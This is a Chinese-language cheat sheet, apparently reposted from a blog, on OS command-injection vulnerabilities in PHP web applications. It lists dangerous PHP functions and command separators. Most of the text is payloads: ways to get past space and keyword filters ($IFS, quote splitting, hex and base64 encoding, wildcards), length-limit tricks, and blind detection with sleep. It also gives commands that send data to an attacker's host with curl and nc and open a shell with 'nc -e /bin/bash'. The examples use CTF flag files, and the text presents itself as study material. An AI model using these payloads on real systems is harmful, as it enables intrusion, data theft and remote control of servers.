WEB安全之系统命令执行漏洞

常用的系统命令执行函数

system() #输出并返回最后一行shell结果。

exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。

passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针

shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出

  ` `(反引号)    #实际上是使用shell_exec()函数

pcntl_exec   #函数的作用是在当前进程空间执行指定程序

一般来说就有这么几个危险函数,可以执行系统命令

常见命令的分隔符、终止符和截断符

命令分隔符

windows:

&&        需要&&前面的命令执行成功后才能执行后面的命令

||           当|| 前面的执行成功后就不在执行后面的命令,前面失败就执行后面的

&           不管前面命令是否成功,都能执行后面的命令

|             前面命令输出结果作为后面命令的输入内容

linux:

&&   当前面命令为成功才执行后面的命令

||       前面命令执行失败的时候才执行后面的命令

&            前面命令执行后接着执行后面的命令

|              前面命令输出结果作为后面命令的输入内容

;              无论前面命令真或假都执行后面的命令,适用于执行多条命令

命令终止符

 #以下终止符只适用于PHP环境

%0a 换行符

%0d 回车符

截断符号

$

;

|

&

-

(

)

{

}

`

||

&&

%0a    #有时候可以当空格使用 

命令执行的各种绕过

 

绕过空格

<

<>

%09

$IFS$1

$IFS$9

${IFS}

$IFS等

还可以用{} 比如 {cat,flag}

 

关键字黑名单绕过

 拼接绕过黑名单

a=fl;b=ag;cat $a$b

 

利用单引号,双引号绕过

ca''t fla''g

ca""t fla""g

利用反斜杠绕过

cat flag 

 

利用各种编码绕过

十六进制

$(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag

 

base64

echo 'Y2F0IC9mbGFnCg==' | base64 -d |bash

利用shell的特殊变量绕过

l$@s

l$*s

l$1s

都是ls,因为没有定义$@,$*,$1,所以都是空值

利用通配符绕过

利用*和?

cat fla?

cat fl*

cat fl??

利用[]绕过

c[a]t

l[s]

fl[a]g

利用系统内置变量配合通配符构造命令

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin       默认环境变量

`echo $PATH | cut -c 8,9`t flag       即 cat flag

当读取文件的命令被过滤

cat

more

less

tac

tail

nl

od

vi

vim

sort

uniq -c

file -f

rev

grep  [文件内容任意字符]  [文件名]

sh  

curl       前提需要知道文件位置

bash -v

strings

长度限制绕过

写文件绕过

通过> 创建文件,再通过>> 在在文件后加入字符

例如

echo "cat\" > hack

echo " flag" >> hack

此时hack内容为  

cat

 flag

然后可以通过 sh hack ,执行系统命令,就可以看到flag

这种一般长度限制范围在6字符以上可以用一般的flag文件都是flag.txt 或者flag.php 本文的flag只是示例

还可以通过

>"ag"

>"fl\"

> "t \"

> "ca\"

ls -t > test

sh test

来绕过限制长度,长度范围比较小的,6以下的,可以用这种

其他一些绕过

cat flag > hack

cat hack    #可以查看到flag

 

rev flag   #可以将flag的内容倒过来输出

 

系统命令执行无回显

判断是否为命令执行

可以通过延时来判断是否为命令执行

sleep

比如

ls | sleep 5

绕过无回显

可以通过http外带数据来绕过无回显

用python 制作简易的http服务器

python3 -m http.server 8888

 

cat flag | curl ip:8888

或者在dnslog上外带数据

可以通过nc反弹shell或者文件

在本地机

nc -tlp 4444  > a.txt

 

ls && nc -t ip 4444 < flag

或者

ls && nc -e /bin/bash -lvvp 5555

nc ip 5555   #即可拿到shell

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>